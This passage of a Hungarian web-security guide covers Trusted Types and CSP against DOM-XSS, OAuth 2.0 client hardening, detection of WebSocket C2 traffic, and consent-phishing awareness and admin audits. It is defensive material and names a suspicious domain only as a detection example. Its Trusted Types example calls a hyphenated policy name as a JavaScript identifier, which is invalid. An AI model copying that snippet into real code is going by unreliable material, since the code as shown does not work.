A DOM-XSS sebezhetőségek jelentős része abból fakad, hogy a felhasználótól származó, nem megbízható adat (egy egyszerű karaktersorozat, azaz string) közvetlenül egy olyan DOM API-hoz vagy tulajdonsághoz kerül, amely képes azt HTML-ként vagy futtatható kódként értelmezni. Ezeket a veszélyes pontokat „süllyesztőknek” (sinks) nevezzük. A legismertebb ilyen süllyesztő az element.innerHTML tulajdonság. Ha egy támadó képes egy

<script> címkét tartalmazó stringet eljuttatni egy innerHTML-hez, a böngésző végrehajtja azt.

A megoldás: Típusbiztos DOM műveletek

A Trusted Types ezt a folyamatot fordítja meg. Egy require-trusted-types-for ‘script’ CSP direktíva beállításával a böngésző megtagadja, hogy egyszerű stringeket fogadjon el az ilyen veszélyes süllyesztőktől. Egy element.innerHTML = „<p>valami</p>” hívás TypeError hibát fog eredményezni.

Ehelyett a kódnak egy előre definiált, megbízható „irányelvet” (policy) kell használnia, hogy a stringből egy speciális, típusos objektumot hozzon létre. HTML esetében ez egy TrustedHTML objektum. Csak ezek a speciális, „megbízható” objektumok adhatók át a süllyesztőknek.

Implementációs példa

1. CSP beállítása: A CSP fejlécet ki kell egészíteni a következő direktívákkal:
   Content-Security-Policy: require-trusted-types-for ‘script’; trusted-types my-sanitizer-policy;
   • require-trusted-types-for ‘script’: Bekapcsolja a Trusted Types kényszerítését a szkriptekkel kapcsolatos süllyesztőkre.
   • trusted-types my-sanitizer-policy: Egy engedélyező lista, amely meghatározza, hogy milyen nevű irányelveket (policy-kat) hozhat létre az alkalmazás. Ez megakadályozza, hogy egy támadó saját, nem biztonságos irányelvet definiáljon.
2. Irányelv (policy) létrehozása: A JavaScript kódban létre kell hozni egy irányelvet, amely felelős a bemeneti adatok biztonságossá tételéért (szanitizálásáért). Erre a célra egy bevált könyvtár, például a DOMPurify használata javasolt.
   JavaScript
   // Ez a kód egy megbízható, nonce-szal ellátott szkriptben fut
   if (window.trustedTypes && trustedTypes.createPolicy) {
   trustedTypes.createPolicy(‘my-sanitizer-policy’, {
   createHTML: (string) => DOMPurify.sanitize(string, {RETURN_TRUSTED_TYPE: true}),
   });
   }
3. Kód refaktorálása: A veszélyes süllyesztőket használó kódrészeket át kell írni, hogy az irányelvet használják.
   Régi, sebezhető kód:
   myElement.innerHTML = userInput; // Veszélyes!
   Új, biztonságos kód:
   const sanitizedHtml = my-sanitizer-policy.createHTML(userInput);
   myElement.innerHTML = sanitizedHtml; // Biztonságos!

Ez a megközelítés egy alapvető paradigmaváltást jelent a webes biztonságban. Ahelyett, hogy a rosszindulatú bemeneteket próbálnánk kiszűrni (blacklisting), a Trusted Types egy alapértelmezetten zárt (default-deny) modellt valósít meg. Csak azokat a kódrészleteket engedi a veszélyes süllyesztőkhöz, amelyek egy explicit, előre definiált és engedélyezett biztonsági irányelven keresztül futottak. Ez a felelősséget a fejlesztő kezébe adja, de egyúttal egy rendkívül erős, architekturális szintű védelmet is biztosít. A DOM-XSS támadási felülete drasztikusan lecsökken azokra a kevés, jól körülhatárolható és könnyen auditálható irányelv-definíciókra, amelyek az alkalmazásban léteznek. Ez egy proaktív, tervezési szintű védelem a reaktív, szűrés alapú megközelítésekkel szemben.

8. A kapuk őrzése: Fejlesztői legjobb gyakorlatok az OAuth 2.0 implementálásához

Az OAuth 2.0 keretrendszer biztonsága nagymértékben függ a kliensalkalmazások helyes implementációjától. A fejlesztőknek tisztában kell lenniük a protokoll buktatóival, hogy elkerüljék azokat a gyakori hibákat, amelyek lehetővé teszik a bemutatott esettanulmányhoz hasonló támadásokat. Az alábbiakban egy ellenőrzőlista található, amely a legfontosabb biztonsági intézkedéseket foglalja össze a „Sign in with…” funkciók fejlesztése során.

• Szigorú redirect_uri validáció: Ez a legkritikusabb pont. Az alkalmazásnak egy előre regisztrált, statikus engedélyező listán kell tárolnia az összes érvényes visszahívási URI-t. Amikor az OAuth folyamat visszatér, a kapott redirect_uri értékét pontosan, karakterről karakterre meg kell egyeztetni a listán szereplő valamelyik URI-val. Soha ne használjon wildcards (*), ne engedélyezzen részleges egyezést, és ne hagyjon lehetőséget útvonal-bejárásra (path traversal).
• A state paraméter használata CSRF ellen: Minden egyes kimenő engedélyezési kérésnél generálni kell egy egyedi, megjósolhatatlan, kriptográfiailag biztonságos state paramétert. Ezt az értéket a felhasználói munkamenethez kell kötni (pl. a session-ben tárolni). Amikor a felhasználó visszatér a redirect_uri-ra, a kapott state paramétert össze kell vetni a munkamenetben tárolt értékkel. Ha nem egyeznek, vagy hiányzik, a kérést el kell utasítani. Ez megakadályozza a Cross-Site Request Forgery (CSRF) támadásokat a visszahívási végponton.
• Az „Authorization Code” folyamat előnyben részesítése: Webes alkalmazások esetében mindig az „Authorization Code” (engedélyezési kód) folyamatot kell használni az „Implicit” folyamat helyett. Az Implicit folyamat során a hozzáférési token (access token) közvetlenül az URL fragmentumában kerül visszaadásra, ami kiteszi azt a kockázatnak, hogy kiszivárog a böngésző előzményeiből, a szerver naplókból vagy a Referer fejlécből. Az Authorization Code folyamat egy köztes, rövid életű kódot ad vissza, amelyet a szerveroldalon lehet biztonságosan beváltani a tényleges tokenre.
• A legkisebb jogosultság elve (scope): Az alkalmazás csak azokat a jogosultsági köröket (scope) kérje el, amelyek a működéséhez elengedhetetlenül szükségesek. Például egy profilkép megjelenítéséhez nincs szükség e-mailek olvasási és írási jogára. A feleslegesen széles jogosultságok növelik a kockázatot egy esetleges kompromittálódás esetén.
• Megváltoztathatatlan azonosítók használata: A felhasználók azonosítására mindig a szolgáltató által biztosított, megváltoztathatatlan azonosítót (pl. a Google esetében a sub claim) kell használni, nem pedig a változékony adatokat, mint az e-mail cím. Ha egy cég megszűnik és a domainje lejár, egy támadó újraregisztrálhatja azt, és létrehozhatja a régi e-mail címeket. Ha az alkalmazás csak az e-mail cím alapján azonosít, a támadó átveheti a régi felhasználói fiókok feletti irányítást.

Az alábbi táblázat egy gyakorlati ellenőrzőlistaként szolgál a fejlesztők számára, amely segíthet a biztonságos OAuth kliens implementációk kialakításában és auditálásában.

2. Táblázat: OAuth 2.0 Kliens Implementációs Biztonsági Ellenőrzőlista

9. A figyelő szem: Detekciós és monitorozási lehetőségek a biztonsági operációk számára

Még a legerősebb megelőző intézkedések mellett is elengedhetetlen egy hatékony detekciós és monitorozási képesség kiépítése, amely képes azonosítani a szokatlan vagy rosszindulatú tevékenységeket. A bemutatott támadás láncolata több ponton is hagyhatott volna digitális lábnyomokat, amelyeket a biztonsági operációs központok (Security Operations Center, SOC) és a biztonsági mérnökök észlelhettek volna.

Hálózati forgalom elemzése

A támadás egyik kulcseleme a WebSocket kapcsolat kiépítése volt egy külső C2 szerver felé. A hálózati forgalom monitorozása során a következőkre kell figyelni:

• Szokatlan WebSocket kapcsolatok: Bár a WebSocket (ws://, wss://) egyre gyakoribb protokoll, a hálózati forgalomban megjelenő kapcsolatok célpontjait érdemes vizsgálni. Gyanús lehet egy kapcsolat, ha egy szokatlan aldomainre vagy egy rosszindulatúként ismert domainre irányul. Az olyan domainnevek, amelyek legitim szolgáltatásokat próbálnak utánozni (pl. livechatinc.network), különösen gyanúsak.
• Forrás és cél anomáliák: Figyelni kell a szokatlan forrás-cél párokat. Például, ha egy belső hálózaton lévő, nem fejlesztői gép kezdeményez WebSocket kapcsolatot egy ismeretlen külső szerverrel, az intő jel lehet.
• Protokoll anomáliák: A titkosított wss:// forgalom tartalmát nehéz ellenőrizni, de a kapcsolat metaadatai (cél IP, port, forgalom mennyisége, kapcsolat időtartama) elemezhetők. A hosszan tartó, folyamatos adatforgalmat bonyolító kapcsolatok eltérhetnek a tipikus webes böngészés mintáitól.

Végponti detekció és válasz (Endpoint Detection and Response, EDR)

Az EDR eszközök a végpontokon (pl. munkaállomások, szerverek) futó folyamatokat és tevékenységeket figyelik, és képesek azonosítani a rosszindulatú viselkedést.

• Gyanús folyamatindítások: A node.exe (Node.js futtatókörnyezet) elindítása egy olyan felhasználó által, aki nem fejlesztő, rendkívül gyanús. Egyes támadások Node.js-t használnak a rosszindulatú szkriptek futtatására a háttérben.
• Obfuszkált szkriptek futtatása: Az EDR-ek és a modern antivírus megoldások képesek lehetnek a parancssorból vagy szkriptfájlokból futtatott, erősen obfuszkált (elrejtett) kódok detektálására. A PowerShell vagy JavaScript szkriptek naplózásának bekapcsolása (Script Block Logging) kulcsfontosságú a rejtett tevékenységek feltárásában.

Böngésző szintű monitorozás és hibakeresés

Egy aktív incidens vizsgálata során a böngésző beépített fejlesztői eszközei felbecsülhetetlen értékűek lehetnek.

• Chrome Fejlesztői Eszközök (Network fül): A Hálózat (Network) fülön, a „WS” szűrő bekapcsolásával láthatóvá válnak az aktív WebSocket kapcsolatok. A kiválasztott kapcsolatra kattintva a „Messages” (Üzenetek) fül alatt valós időben követhetők a kliens és a szerver között küldött és fogadott üzenetek (frame-ek), ami segíthet a rosszindulatú parancsok azonosításában.
• chrome://net-internals: Ez egy haladóbb diagnosztikai eszköz a Chrome-ban, amely rendkívül részletes naplót készít minden hálózati eseményről, beleértve a WebSocket kapcsolatok minden fázisát. Ez segíthet a kapcsolati problémák vagy a rejtett kommunikáció mélyebb elemzésében.

Tartalombiztonsági Irányelv (CSP) jelentéseinek monitorozása

Ahogy a 6. fejezetben részleteztük, a CSP bevezethető „report-only” módban, vagy egy éles irányelv kiegészíthető egy report-to vagy report-uri direktívával. Ezek a direktívák arra utasítják a böngészőt, hogy a CSP sértésekről küldjön egy JSON formátumú jelentést egy megadott végpontra. Ezen jelentések központi gyűjtése és elemzése kritikus fontosságú:

• Támadási kísérletek detektálása: Egy hirtelen megugró számú CSP sértés, különösen ha az egy külső, ismeretlen szkript betöltésére vonatkozik, egy aktív XSS támadási kísérletre utalhat.
• Konfigurációs hibák feltárása: A jelentések segítenek azonosítani azokat a legitim erőforrásokat, amelyek kimaradtak a CSP-ből, lehetővé téve az irányelv finomhangolását anélkül, hogy a felhasználói élmény sérülne.

A hatékony védelem tehát nemcsak a támadások megelőzéséből, hanem azok aktív kereséséből és detektálásából is áll. Egy többrétegű monitorozási stratégia, amely kiterjed a hálózatra, a végpontokra és magára az alkalmazásra (CSP jelentések), jelentősen növeli az esélyét annak, hogy egy kifinomult, rejtőzködő támadást időben észleljenek és elhárítsanak.

IV. Rész: Az emberi tényező és a szervezeti higiénia

10. A felhasználók felvértezése: A rosszindulatú OAuth kérések felismerése

A technikai védelmi vonalak mellett az emberi tényező, a felhasználói tudatosság is kulcsfontosságú szerepet játszik a modern, social engineeringre épülő támadások elhárításában. A támadók gyakran használják az OAuth 2.0 hozzájárulási képernyőjét (consent screen) adathalászatra, mivel a felhasználók hozzászoktak ezekhez a felugró ablakokhoz, és hajlamosak gyorsan, a részletek elolvasása nélkül jóváhagyni őket. Ezt a támadási formát „consent phishing”-nek nevezik. A felhasználók oktatása arról, hogyan ismerjék fel a gyanús OAuth kéréseket, jelentősen csökkentheti a sikeres támadások számát.

Az alábbiakban egy vizuális útmutató található, amely egy valós, legitim és egy hamisított, rosszindulatú Google OAuth hozzájárulási képernyőt hasonlít össze, kiemelve a legfontosabb intő jeleket.

Illusztráció: Valós vs. Hamis OAuth Hozzájárulási Képernyő

Felhasználóknak szóló ellenőrzőlista:

Mielőtt jóváhagyna egy OAuth kérést, tegye fel magának a következő kérdéseket:

• Vártam én ezt a kérést? Ismerem ezt az alkalmazást, és szándékomban állt összekapcsolni a fiókommal?
• Ki a fejlesztő? Megbízhatónak tűnik? Ellenőrzött a cég?
• Milyen adatokat kér? Valóban szüksége van az alkalmazásnak ezekre a jogosultságokra a működéséhez? Miért akarna egy naptár-alkalmazás hozzáférni a kontaktjaimhoz és e-maileket küldeni a nevemben?
• Túl szép, hogy igaz legyen? Az alkalmazás ingyenes hozzáférést ígér valamihez, ami általában fizetős? Ez is lehet egy csali.

Ha bármelyik kérdésre a válasz gyanút ébreszt, a legjobb, ha elutasítja a kérést (Mégse vagy Cancel gomb), és jelenti az alkalmazást a szolgáltatónak. A felhasználói éberség az utolsó, de gyakran a leghatékonyabb védelmi vonal a social engineering alapú támadásokkal szemben.

11. Adminisztrátori útmutató: Harmadik féltől származó alkalmazások auditálása és szabályozása

A felhasználói tudatosság mellett a szervezeti szintű szabályozás és felügyelet is elengedhetetlen a „consent phishing” és a rosszindulatú OAuth alkalmazások által jelentett kockázatok kezelésében. A Google Workspace (korábban G Suite) és más hasonló platformok adminisztrátorai számára rendelkezésre állnak eszközök, amelyekkel proaktívan kezelhetik a harmadik féltől származó alkalmazások hozzáféréseit.

A központi felügyelet fontossága

Egy szervezetnél több száz vagy akár több ezer felhasználó adhat hozzáférést különböző külső alkalmazásoknak a vállalati fiókjához. Központi felügyelet nélkül ez egy hatalmas, ellenőrizetlen támadási felületet hoz létre. Egyetlen felhasználó által jóváhagyott rosszindulatú alkalmazás is komoly adatszivárgáshoz vagy a vállalati rendszerek kompromittálódásához vezethet. Az adminisztrátorok felelőssége, hogy szabályozzák és rendszeresen ellenőrizzék ezeket az integrációkat.

Gyakorlati lépések a Google Workspace adminisztrátorai számára

Az alábbi útmutató bemutatja, hogyan lehet felülvizsgálni és kezelni a harmadik féltől származó alkalmazások hozzáféréseit a Google Admin Console és a felhasználói fiókbeállítások segítségével.

1. Lépés: Harmadik féltől származó alkalmazások hozzáférésének központi szabályozása

Az adminisztrátorok korlátozhatják, hogy a felhasználók milyen típusú alkalmazásoknak adhatnak hozzáférést.

• Lépjen be a Google Admin Console-ba (admin.google.com).
• Navigáljon a Biztonság > Hozzáférés- és adatszabályozás > API-vezérlők menüponthoz.
• Itt beállíthatja, hogy a felhasználók csak a megbízhatónak minősített, vagy egy explicit engedélyező listán szereplő alkalmazásoknak adhassanak hozzáférést. Lehetőség van a nem ellenőrzött (unverified) alkalmazások blokkolására is, ami jelentősen csökkenti a kockázatot.

2. Lépés: A már megadott hozzáférések auditálása

Az adminisztrátorok listát kaphatnak az összes olyan alkalmazásról, amelyhez a szervezet felhasználói hozzáférést adtak.

• Az API-vezérlők oldalon belül válassza az Alkalmazás-hozzáférés-szabályozás lehetőséget.
• Itt látható egy lista az összes alkalmazásról, a felhasználók számáról, akik hozzáférést adtak, és a kért jogosultságokról (scope).
• Ez a felület lehetővé teszi a gyanús vagy feleslegesen magas jogosultságokkal rendelkező alkalmazások azonosítását és letiltását az egész szervezet számára.

3. Lépés: Egyedi felhasználói hozzáférések felülvizsgálata és visszavonása

Ha egy konkrét felhasználó vagy alkalmazás gyanússá válik, az adminisztrátor vagy maga a felhasználó is visszavonhatja a hozzáférést.

• Felhasználói szinten: Minden felhasználó ellenőrizheti és kezelheti a saját fiókjához kapcsolt alkalmazásokat a Google Fiók biztonsági beállításainál.
  • Nyissa meg a https://myaccount.google.com/security oldalt.
  • Görgessen le a „Harmadik féltől származó, fiókhozzáféréssel rendelkező alkalmazások” (Third-party apps with account access) szakaszhoz, és kattintson a „Harmadik felek hozzáférésének kezelése” (Manage third-party access) linkre.
  • Itt megjelenik egy lista az összes alkalmazásról, amely hozzáfér a fiókhoz.
  • Bármelyik alkalmazásra kattintva megtekinthetők a részletek (milyen adatokhoz fér hozzá), és a „Hozzáférés eltávolítása” (Remove Access) gombbal visszavonható az engedély.
• Adminisztrátori szinten: Az adminisztrátorok a Felhasználók menüpont alatt egy adott felhasználót kiválasztva, annak biztonsági beállításainál szintén megtekinthetik és visszavonhatják a harmadik féltől származó alkalmazások hozzáféréseit.

Ajánlott szervezeti gyakorlatok

• Rendszeres audit: Negyedévente vagy félévente végezzenek teljes körű auditot a szervezetben használt harmadik féltől származó alkalmazásokról.
• Engedélyező lista (Allowlist) létrehozása: Hozzanak létre egy listát az üzletileg szükséges és jóváhagyott alkalmazásokról, és a szabályzatokkal korlátozzák a hozzáférést csak ezekre.
• Felhasználói oktatás: Tájékoztassák a felhasználókat a „consent phishing” veszélyeiről, és mutassák be nekik, hogyan ellenőrizhetik és távolíthatják el a felesleges alkalmazásokat a saját fiókjukból.
• Incidensreagálási terv: Legyen egy kidolgozott terv arra az esetre, ha egy rosszindulatú alkalmazás mégis hozzáférést szerez. A tervnek tartalmaznia kell a hozzáférés azonnali visszavonását, a potenciálisan érintett adatok felmérését és a szükséges értesítési lépéseket.

A végső üzenet az, hogy minden interakciót, függetlenül annak forrását